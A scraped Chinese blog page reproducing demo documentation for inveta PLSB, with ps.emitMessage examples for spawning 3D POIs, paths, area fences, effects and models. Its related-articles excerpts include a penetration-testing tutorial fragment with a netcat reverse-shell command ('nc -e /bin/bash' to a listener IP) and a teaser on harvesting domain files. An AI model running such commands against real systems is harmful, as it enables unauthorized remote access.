inveta PLSB 点线面体 示例工程

news2025/2/24 12:07:49

8ec6da105d50de74163df5bd4c7f7f6c.png

https://github.com/inveta/demo/blob/main/Resource/demo.md

点线面体

生成 POI(点)

ps.emitMessage([
    "spawn-POI",
    "location:X=0 Y=0 Z=0", // cm
    "icon:\uE998",  // char
    "title:POI标题",    // string
    "color:R=1 G=1 B=1",   // 0~1
    "shape:2",  // 0、1、2
    "id:poi001"
].join('\r\n'));
  • 图标:字体图标库中的任意字符。

  • 标题:POI 图标旁边展示的标题文字。

  • 颜色:POI 点的主题颜色。

  • 坐标:三维空间中的 XYZ。

  • 形状:0 菱形,1 圆形,2 圆角方形。

生成三维路径(线)

ps.emitMessage([
    "spawn-path",
    "points: X=0 Y=0 Z=1500; X=-1000 Y=0 Z=2000; X=0 Y=0 Z=0; X=1000 Y=0 Z=2000; X=0 Y=0 Z=1500",   // cm
    "location: X=2500 Y=2500 Z=0", // cm
    "width:100",    // cm
    "material:0",    // int
    "color: R=0 G=0 B=0  ",   // 0~1
    "id:path001",
].join('\r\n'));
  • 点集:分号";"分隔的三维坐标,提供一系列点坐标,连接成一段曲线。

  • 位置:整体的三维坐标。

  • 宽度:路径线条的宽度。

  • 材质:选择样式编号。

  • 颜色:材质的自定义 RGBA 通道。

生成区域围栏(面)

ps.emitMessage([
    "spawn-area",
    "points: X=1000 Y=0;  X=-809 Y=588;  X=309 Y=-951;  X=309 Y=951;  X=-809 Y=-588",   // cm
    "location: X=5000 Y=5000 Z=0", // cm
    "height:700",    // cm
    "material:0",    // int
    "color: R=1 G=0 B=0 A=.5",   // 0~1
    "id:area001",
].join('\r\n'));
  • 点集:以分号";"分隔的水平坐标 XY,代表二维区域的每个端点。

  • 位置:三维空间中 XYZ 坐标。

  • 高度:“围栏”的高度。

  • 材质:选择区域轮廓的样式编号。

  • 颜色:高亮的颜色(RGBA 通道)。

生成动画特效(面)

ps.emitMessage([
    "spawn-VFX",
    "location: X=7500 Y=7500 Z=0", // cm
    "scale:4.0",    // float
    "texture:1",    // int
    "period: 1.0",   // s
    "id:vfx001",
].join('\r\n'));
  • 动图:选择图片编号。

  • 位置:三维空间中 XYZ 坐标。

  • 尺寸:无需传参,等于图片本身的宽高(1px=1cm)。

  • 缩放:根据序列帧尺寸的缩放倍数。

  • 周期:序列帧播放一遍的时间。

生成模型(体)

ps.emitMessage([
    "spawn-mesh",
    "location: X=9000 Y=9000 Z=0", // cm
    "scale:6.0",    // float
    "mesh:0",    // int
    "id:mesh001",
].join('\r\n'));
  • 位置:三维空间中 XYZ 坐标。

  • 缩放:模型整体的缩放倍数。

  • 模型:选择模型编号,从 0 开始。

文档

参数格式

  • 所有参数遵守类似字典的格式:

  • 由换行符"\r\n"分隔每一行。

  • 由于 UE 的原因,换行符必须使用"\r\n",不能用常规的"\n"。

  • 每行由冒号":"分隔键值对。

  • 键和值两端没有空白字符。

鼠标操作

  • 单击:点击事件。

  • 左键拖拽:平移。

  • 右键拖拽:绕焦点旋转。

  • 中间:更新焦点。

  • 滚轮:缩放。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2701.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

单独用HTML javascript CSS 写三版99乘法表,我就是班里最靓的仔

☆ 99乘法表,这个从小学就让我们开始产生肌肉记忆的知识点,伴随一生。而一旦开始学习软件开发知识,99乘法表将是一个基础中不可逃避的巩固升级作业。 ☆ 口算背诵相信大家已经滚瓜烂熟了,一一得一,二二得四&#xff…

【Linux】超好用的编译工具 —— gcc/g++

文章目录 前言 一、安装gcc/g 二、背景知识 三、gcc如何完成 1.预处理(进行宏替换) 2.编译(生成汇编) 3.汇编(生成机器可识别代码) 4.连接(生成可执行文件或库文件) 5.记忆选项的小技…

Tomcat 实用安装教程

Tomcat的介绍 Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得…

【模型训练】YOLOv7道路交通标志检测

YOLOv7道路交通标志检测 1、YOLOv7算法道路交通标志检测模型训练2、YOLOv7模型模型评估3、模型和数据集下载1、本项目采用YOLOv7算法实现对道路交通标志的检测和识别,在道路交通标志检测数据集中训练得到,我们训练了YOLOv7模型,经评估我们得出了各个模型的评价指标; 2、目标…

C · 初阶 | 循环语句

啊我摔倒了..有没有人扶我起来学习.... 👱个人主页:《CGod的个人主页》\color{Darkorange}{《CGod的个人主页》}《CGod的个人主页》交个朋友叭~ 💒个人社区:《编程成神技术交流社区》\color{Darkorange}{《编程成神技术交流社区》…

什么是跨域

目录 1 同源策略 2 什么是跨域 3 如何解决跨域 3.1 配置CROS 3.2 Nginx解决跨域问题 1 同源策略 跨域是指浏览器不能执行其他网站的脚本,是由浏览器的同源策略造成的,是浏览器加的安全限制。同源是指,域名,协议,端…

Android | WMS 解析(一)

前言 前段时间分析了 Window 的添加、更新和删除流程,也知晓了 Activity 、Dialog 和 Toast 中 Window 的创建过程,今天就接着上篇文章,看一下 WMS 的创建 以及WindowManager 添加 WIndow 后 WMS 是怎样进行操作的。上篇文章点这里直达&…

Linux下 gdb 调试打印函数局部变量

以下面代码&#xff0c;来说明一下&#xff0c;打印函数局部变量的操作&#xff0c;代码如下&#xff1a; #include <stdio.h>void fun1(void) {int data1 0;printf("data1: %d\n", data1); }void fun2(void) {int data2 1;fun1();printf("***data2: %…

联网智能门锁解锁智慧公租房

近年来&#xff0c;随着物联网技术的发展&#xff0c;愈来愈多的保障房、公租房、网约房、长短租公寓管理者们都在关注如何实现房屋智能管理&#xff0c;面对租户流动性大、管理复杂&#xff0c;房屋空置、闲置、非法转租&#xff0c;以及租户居住体验差等问题&#xff0c;无从…

【万字总结】C++——list的基本使用和模拟实现(建议收藏)

目录 一、list基本介绍 二、list的使用 1、list的初始化方式 2、list的增删查改 push_front和pop_front与push_back和pop_back insert erase 3、list迭代器的使用 正向迭代器 反向迭代器 4、list获取头尾元素 5、list容量操作 6、list的其他操作 sort splice r…

408 | 【2014年】计算机统考真题 自用回顾知识点整理

选择题 T3&#xff1a;循环队列 不同指针指向&#xff0c;队列判空/判满条件 1. rear:指向队尾元素 front:指向队头元素前一个位置 &#xff08;1&#xff09;牺牲一个存储空间 &#xff08;2&#xff09;判空条件&#xff1a;front rear &#xff08;3&#xff…

【C/自定义类型详解】——结构体(struct)、位段、枚举(enum)、联合(union)

关于C语言的知识放在专栏&#xff1a;C 小菜坤日常上传gitee代码&#xff1a;https://gitee.com/qi-dunyan ❤❤❤ 个人简介&#xff1a;双一流非科班的一名小白&#xff0c;期待与各位大佬一起努力&#xff01; 主要目录1、结构体&#xff08;struct&#xff09;1.0 结构体类型…

请问Graph Kernel Fusion(图算融合)在mindspore1.7.0下会生成融合后的mindIR的.dot文件吗

图算融合&#xff0c;GPU (NVIDIA-RTX3080) 验证 【操作步骤&问题现象】 1、参考&#xff08;基于mindspore0.5.0&#xff09;链接1&#xff1a; course: MindSpore实验&#xff0c;仅用于教学或培训目的。配合MindSpore官网使用。MindSpore experiments, for teaching or…

mac 安装部署mongoDB社区版

安装mongo可以采用下载安装包也可以使用Homebrew软件包管理工具安装 我一开始是根据网上走的下载安装包进行的&#xff0c;但总是出现各种问题&#xff0c;最后果断选择跟随官网教程走了 先决条件 如已安装&#xff0c;请跳过 1. 安装 Xcode 命令行工具 Homebrew 需要来自 A…

【Mybatis源码】源码分析

【Mybatis源码】源码分析&#xff08;1&#xff09;Mybatis的基本执行流程&#xff08;1&#xff09;在resources目录下建立一个mybatis-config.xml配置文件&#xff08;2&#xff09;准备UserMapper.xml文件&#xff08;3&#xff09;使用SqlSessionFactoryBuilder.build构建M…

简单的反弹shell到全交互式shell

经常我们拿到的shell是一个简单的shell 如何把一个简单的shell就升级到一个标准交互式shell 写这篇文章记录一下 # kali 起监听 bash # kali默认是zsh 还不兼容,要切换成bash nc -lvvp 9999# 靶机中执行 nc -e /bin/bash 192.168.100.131 9999 python -c import pty; p…

域内批量获取敏感文件

0x01 批量获取域内机器名 自动化工具&#xff0c;当然就要全自动&#xff0c;懒人必备。net group "domain computers" /do &#xff0c;获取机器是3个一排&#xff0c;然后可以通过正则删除空格&#xff0c;每次也麻烦&#xff0c;直接获取机器名更加方便。 思路就…

QT调用OpenCV绘制直线、矩形、椭圆、圆、不规则曲线、文本

开发环境&#xff1a;QT5.14.2OpenCV4.5 提前准备&#xff1a;准备编译好的OpenCV开发环境(如自行编译的mingw版的opencv库&#xff0c;本地路径D:\opencv\qt_build64)&#xff0c;准备一张测试图片&#xff08;如&#xff1a;d:\test.jpg&#xff09;。 项目结构&#xff1a…

如果再来一次,你还会选择互联网么?

现在互联网的就业环境&#xff0c;大家都在感受着一股寒意。也不知道从什么时候开始&#xff0c;身边悲观的声音越来越多了。 如果再给你一次机会&#xff0c;你还会选择互联网吗&#xff1f; 回答这个问题之前&#xff0c;我想跟大家聊聊一个我朋友的故事。 他从学渣到大厂程…

64位下使用回调函数实现监控

前言 在32位的系统下&#xff0c;我们想要实现某些监控十分简单&#xff0c;只需要找到对应的API实现挂钩操作即可检测进程。但在64位系统下随着Patch Guard的引入&#xff0c;导致我们如果继续使用挂钩API的方式进行监控会出现不可控的情况发生。微软也考虑到了用户程序的开发…